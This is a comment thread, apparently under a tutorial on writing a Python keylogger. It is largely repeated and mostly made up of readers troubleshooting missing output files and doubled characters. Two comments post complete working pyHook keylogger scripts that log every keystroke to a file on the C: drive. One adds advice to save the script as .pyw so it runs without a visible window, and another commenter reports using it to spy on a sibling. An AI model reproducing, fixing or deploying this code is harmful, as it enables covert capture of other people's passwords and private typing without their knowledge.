tried this followed all your steps but when i went to my c drive the file logger.py was not there. i am wondering did i not install something properly? i am new at all this programming stuff but this video seemed easy to do i was really looking forward to seeing if it worked can you help me? please….
i have a slight problem, everything seemed to have worked except for never gets created or i cant find it anywhere on my c: drive and when i search for it i can not find it anywhere on my pc. I copied the source code from your forum, so i am not really sure what may be wrong. I do see the logger. py on my c: drive. Could you possibly help with this?
Everything seems to work except it does not create a output file on the c: drive or for that matter on my pc……at least when i use the “search” to locate it, it doesn’t locate an output file at all…i copied and pasted your “source” from the forums…so i am not really sure what i could have done wrong for it not to create an output file. Not sure if this matters or not but i am using XP. Could you give me a helping hand with this?
I’m not a programmer, I haven’t coded anything in years but I could still spot a mile away that your code wasn’t going to work. Save as .pyw and get rid of win32 library and the commands to hide the window as they are redundant. To make the program exit instead of throwing an error in the console, import os and replace _exit(1) with os._exit(1). To append to a file, use mode ‘a’ and get rid of the buffer variable. Use ‘with’ to open a file so even if an error is raised on the way, the file still gets closed properly.
The least you could do before posting your video was to see if your code actually worked. Most apparently, your version failed to do anything if ‘c:\output.txt’ didn’t exist. You also mentioned in your video to save as .pyw but you saved incorrectly as .py instead. Here’s my fixed version that should work fine. Hope it answers some questions.
import os, pythoncom, pyHook
def OnKeyboardEvent(event):
if event.Ascii == 5:
os._exit(1)
if event.Ascii != 0:
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs=’/n’
with open(‘c:\output.txt’,'a’) as f:
f.write(keylogs)
Apparently the site likes to remove indentations. Remember to add those with the tab button like in the video in front of lines after lines ending with a semicolon (or just admin edit my post before if that’s possible).
I don’t think vista likes writing stuff out to C:/ When saving the logger program, I had to save it elsewhere and then drag it in and confirm the move with the windows security shit(forget what its called). I can’t get mine to work. I’ve tried with both the original code and the code provided. I am running vista. Tried putting a output.txt out there and it still doesn’t write anything… Ideas of what i might’ve done wrong?
It wont write any files to an output.txt file. i have checked the program script and have tried anything i can think of and it still wont work. Please help, thanks in advance.
i got the keylogger all right but when i go to output.txt it says all of the stuff i typed but it reapeats like if i type f it shows up as ffffffffffffff how do i stop that
It definitely works, you just have to know how to use it. Simply downloading it doesn’t mean it’s going to automatically work. The point is to show you how to make your own keylogger, not give you a free one.
oh! and as for the repeated letters in the output.exe file just make sure there’s only one python.exe process running. The more of them open, the more repeated letters you will get
I followed your steps, and created the output.txt file, but nothing writes to the output.txt file. So then I tried FloatHarr’s method, still nothing. I am not sure what the issue is, but neither method produced any text in output.txt.
I have got the same issue as warrenjmeyer, I have made a output.txt in the c drive as well as the logger.py but when I run it nothing logs, I am currently using windows vista, I have tried both methods can anyone guide me to correcting the problem.
i got the program working, i copied the text for python directly from the website, but for some reason in the output.txt file, all the characters are repeated 5 times. anyone else have this happen? i can live with it but found it a little interesting.
I got it working, I guess, but everything is logged in Chinese. I don’t even have Chinese installed on my computer. Any ideas?
Also, I can’t seem to exit the program. I tried using different inputs other than ^e, still wont exit.
Ok I just added the code and everything saved it to my LOcal Disk drive, found it (logger.py). But ther was no Output.txt. So I read some of your comments and I added a new file Called “Output.txt”. Then i type something and pressed “ctrl+E” and went to output.txt and nothing was filled in there?
If Control E “ends” the keylogger,do u think ide have to turn it back on and if so, How?
ive done every thing as the video told me to do
but i can see logger.py and it opens but there is no output.txt created……..
i tried to create the file by myself but it did not work
please helm me.
hey i need help..
for some reason the console box shows up like it said it would for bout a split second then ill type like yo yo or somethin dumb go back to c: drive and wont see output.txt wtf?? haha help please
tried this followed all your steps but when i went to my c drive the file logger.py was not there. i am wondering did i not install something properly? i am new at all this programming stuff but this video seemed easy to do i was really looking forward to seeing if it worked can you help me? please….
1st comment =P cool vid
cool vidz, thx
@Alley – you save your python file as logger.py to your c drive. if it’s not there, then you didn’t save it to your c drive.
i have a slight problem, everything seemed to have worked except for never gets created or i cant find it anywhere on my c: drive and when i search for it i can not find it anywhere on my pc. I copied the source code from your forum, so i am not really sure what may be wrong. I do see the logger. py on my c: drive. Could you possibly help with this?
Thanks,
Richard
Everything seems to work except it does not create a output file on the c: drive or for that matter on my pc……at least when i use the “search” to locate it, it doesn’t locate an output file at all…i copied and pasted your “source” from the forums…so i am not really sure what i could have done wrong for it not to create an output file. Not sure if this matters or not but i am using XP. Could you give me a helping hand with this?
Thanks,
Richard
I’m not a programmer, I haven’t coded anything in years but I could still spot a mile away that your code wasn’t going to work. Save as .pyw and get rid of win32 library and the commands to hide the window as they are redundant. To make the program exit instead of throwing an error in the console, import os and replace _exit(1) with os._exit(1). To append to a file, use mode ‘a’ and get rid of the buffer variable. Use ‘with’ to open a file so even if an error is raised on the way, the file still gets closed properly.
The least you could do before posting your video was to see if your code actually worked. Most apparently, your version failed to do anything if ‘c:\output.txt’ didn’t exist. You also mentioned in your video to save as .pyw but you saved incorrectly as .py instead. Here’s my fixed version that should work fine. Hope it answers some questions.
import os, pythoncom, pyHook
def OnKeyboardEvent(event):
if event.Ascii == 5:
os._exit(1)
if event.Ascii != 0:
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs=’/n’
with open(‘c:\output.txt’,'a’) as f:
f.write(keylogs)
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Apparently the site likes to remove indentations. Remember to add those with the tab button like in the video in front of lines after lines ending with a semicolon (or just admin edit my post before if that’s possible).
i cant find output.txt …
please help me
i cant find output.txt,it not created..i m using vista
please help me find
just create a file called output.txt and put it in your c: drive
Thanks it worked at me using xp sp3
but i cant stop it hehehe….
ok i stopped it by ending the python.exe process ^_^ by the way thanks
I don’t think vista likes writing stuff out to C:/ When saving the logger program, I had to save it elsewhere and then drag it in and confirm the move with the windows security shit(forget what its called). I can’t get mine to work. I’ve tried with both the original code and the code provided. I am running vista. Tried putting a output.txt out there and it still doesn’t write anything… Ideas of what i might’ve done wrong?
It wont write any files to an output.txt file. i have checked the program script and have tried anything i can think of and it still wont work. Please help, thanks in advance.
i got the keylogger all right but when i go to output.txt it says all of the stuff i typed but it reapeats like if i type f it shows up as ffffffffffffff how do i stop that
Ive download the programs but it does not work.
It definitely works, you just have to know how to use it. Simply downloading it doesn’t mean it’s going to automatically work. The point is to show you how to make your own keylogger, not give you a free one.
Is there an registered version key logger available.
i did it and it works perfectly fine, he did forget to mention to make the output.txt file (but it should be kind of obvious) but yes it works nicely
oh! and as for the repeated letters in the output.exe file just make sure there’s only one python.exe process running. The more of them open, the more repeated letters you will get
I’m having the same problem as badkin, it seems to repeat every ascii character three times.
I followed your steps, and created the output.txt file, but nothing writes to the output.txt file. So then I tried FloatHarr’s method, still nothing. I am not sure what the issue is, but neither method produced any text in output.txt.
disregard the last post, I have solved the issue, thanks. I really like your site by the way!
Using this i cought my sister hacking an online account of mine (what a dumb ass)
I have got the same issue as warrenjmeyer, I have made a output.txt in the c drive as well as the logger.py but when I run it nothing logs, I am currently using windows vista, I have tried both methods can anyone guide me to correcting the problem.
The keylogger is running in the background but not logging in the output.txt
Hi
I have got the keylogger running but it is not logging in the output.txt that I have created
i got the program working, i copied the text for python directly from the website, but for some reason in the output.txt file, all the characters are repeated 5 times. anyone else have this happen? i can live with it but found it a little interesting.
I installed everything run the program when i was done pressed ctrl e went to c dribe there was no file???
I got it working, I guess, but everything is logged in Chinese. I don’t even have Chinese installed on my computer. Any ideas?
Also, I can’t seem to exit the program. I tried using different inputs other than ^e, still wont exit.
Ok I just added the code and everything saved it to my LOcal Disk drive, found it (logger.py). But ther was no Output.txt. So I read some of your comments and I added a new file Called “Output.txt”. Then i type something and pressed “ctrl+E” and went to output.txt and nothing was filled in there?
If Control E “ends” the keylogger,do u think ide have to turn it back on and if so, How?
op, never mind. Noob mistake,never actually ran logger.py in the first place
.
I have a problem- Is i write anything for example:-computer,
in output it shows ccoommppuutteerr..how to prevent this..??
I have a problem- If i write anything for example:-computer,
in output it shows ccoommmmppuutteerr how to prevent this..??
The following worked for me:
1. Create output.txt in C:\
2. Save following as Logger.pyw in C:\
import pyHook
import time
import pythoncom
def OnKeyboardEvent(event):
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs=’\n’
elif event.Ascii==8:
keylogs=’[backspace]‘
with open(‘c:\output.txt’,'a’) as f:
f.write(keylogs)
# print event.Ascii
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
while True:
pythoncom.PumpMessages()
That should do the trick.
why this video is not loading ?
ive done every thing as the video told me to do
but i can see logger.py and it opens but there is no output.txt created……..
i tried to create the file by myself but it did not work
please helm me.
Thanks
Yash
hey i need help..
for some reason the console box shows up like it said it would for bout a split second then ill type like yo yo or somethin dumb go back to c: drive and wont see output.txt wtf?? haha help please
-thanks